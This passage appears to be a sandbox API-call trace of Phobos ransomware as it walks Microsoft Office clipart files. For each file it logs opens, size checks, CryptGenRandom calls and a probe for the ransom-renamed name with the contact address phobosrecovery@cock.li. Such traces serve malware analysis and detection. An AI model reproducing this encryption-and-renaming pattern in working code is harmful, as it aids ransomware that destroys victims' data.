files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.712] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.712] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=39111) returned 1 [0152.712] CloseHandle (hObject=0x580) returned 1 [0152.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg")) returned 0x220 [0152.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.713] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.713] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=47551) returned 1 [0152.713] CloseHandle (hObject=0x580) returned 1 [0152.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg")) returned 0x220 [0152.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.714] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.715] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=39148) returned 1 [0152.715] CloseHandle (hObject=0x580) returned 1 [0152.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg")) returned 0x220 [0152.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.715] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.716] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32243) returned 1 [0152.716] CloseHandle (hObject=0x580) returned 1 [0152.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387895.jpg")) returned 0x220 [0152.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387895.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387895.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.717] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.717] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13596) returned 1 [0152.717] CloseHandle (hObject=0x580) returned 1 [0152.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg")) returned 0x220 [0152.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.718] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.719] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=202883) returned 1 [0152.719] CloseHandle (hObject=0x580) returned 1 [0152.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png")) returned 0x220 [0152.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.720] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.720] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=89417) returned 1 [0152.720] CloseHandle (hObject=0x580) returned 1 [0152.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png")) returned 0x220 [0152.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.721] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400003.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.811] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=124982) returned 1 [0152.811] CloseHandle (hObject=0x564) returned 1 [0152.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400003.png")) returned 0x220 [0152.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400003.PNG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400003.png.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400003.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.812] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.812] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1328) returned 1 [0152.812] CloseHandle (hObject=0x564) returned 1 [0152.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00532_.wmf")) returned 0x220 [0152.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00532_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.813] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00538_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.814] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32020) returned 1 [0152.814] CloseHandle (hObject=0x564) returned 1 [0152.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00538_.wmf")) returned 0x220 [0152.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00538_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00538_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00538_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.816] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.818] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1612) returned 1 [0152.818] CloseHandle (hObject=0x564) returned 1 [0152.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00641_.wmf")) returned 0x220 [0152.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00641_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.819] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.820] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=30296) returned 1 [0152.820] CloseHandle (hObject=0x564) returned 1 [0152.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00784_.wmf")) returned 0x220 [0152.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00784_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.820] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.821] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9208) returned 1 [0152.821] CloseHandle (hObject=0x564) returned 1 [0152.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00798_.wmf")) returned 0x220 [0152.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00798_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.821] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00806_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.822] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1928) returned 1 [0152.822] CloseHandle (hObject=0x564) returned 1 [0152.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00806_.wmf")) returned 0x220 [0152.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00806_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00806_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00806_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.823] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.823] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2980) returned 1 [0152.823] CloseHandle (hObject=0x564) returned 1 [0152.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00807_.wmf")) returned 0x220 [0152.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00807_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.824] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.824] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1300) returned 1 [0152.824] CloseHandle (hObject=0x564) returned 1 [0152.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00808_.wmf")) returned 0x220 [0152.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00808_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.825] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 